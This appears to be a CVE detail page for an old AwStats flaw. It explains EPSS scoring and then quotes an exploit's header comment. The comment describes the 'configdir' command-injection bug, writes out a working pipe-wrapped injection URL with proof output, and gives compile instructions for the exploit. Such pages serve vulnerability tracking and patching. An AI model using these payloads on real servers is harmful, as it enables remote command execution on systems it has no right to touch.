CVE-2005-0116 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* AwStats exploit by Thunder, molnar_rcs@yahoo.com This exploit makes use of the remote command execution bug discovered in AwStats ver 6.2 and below. The bug resides in the awstats.pl perl script. The script does not sanitise correctly the user input for the `configdir` parameter. If the users sends a command prefixed and postfixed with | , the command will be executed. An example would be: Let's execute '/usr/bin/w': > http://localhost/cgi-bin/awstats.pl?configdir=%20|%20/usr/bin/w%20|%20 < Awstat output: > Error: LogFile parameter is not defined in config/domain file Setup (' | /usr/bin/w | /awstats.localhost.conf' file, web server or permissions) may be wrong. Check config file, permissions and AWStats documentation (in 'docs' directory). < That's it. Our command was executed. This bug is fixed in AwStats ver 6.3 and a patch was released for all versions, but vulnerable AwStat is still available for download on several sites (ex. www.topshareware.com). Type `gcc awexpl.c - o awexpl` to compile the exploit and `./awexpl -u` for usage. Note: Just indexing the commands with | will not always work, or might not work at all. I checked it on my own awstats 6.0 install, and it failed. So, whoever tried the same on his own script and was surprised to see that (although the version he uses is said to be prone to the remote command execution bug) nothing happened, should patch or upgrade to Awstat 6.3 asap. As far as i know all unpached versions prior to 6.3 are vulnerable and commands prefixed and postfixed by a | character WILL be executed. Beware! Oh, I almost forgot, the disclaimer :) THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY.
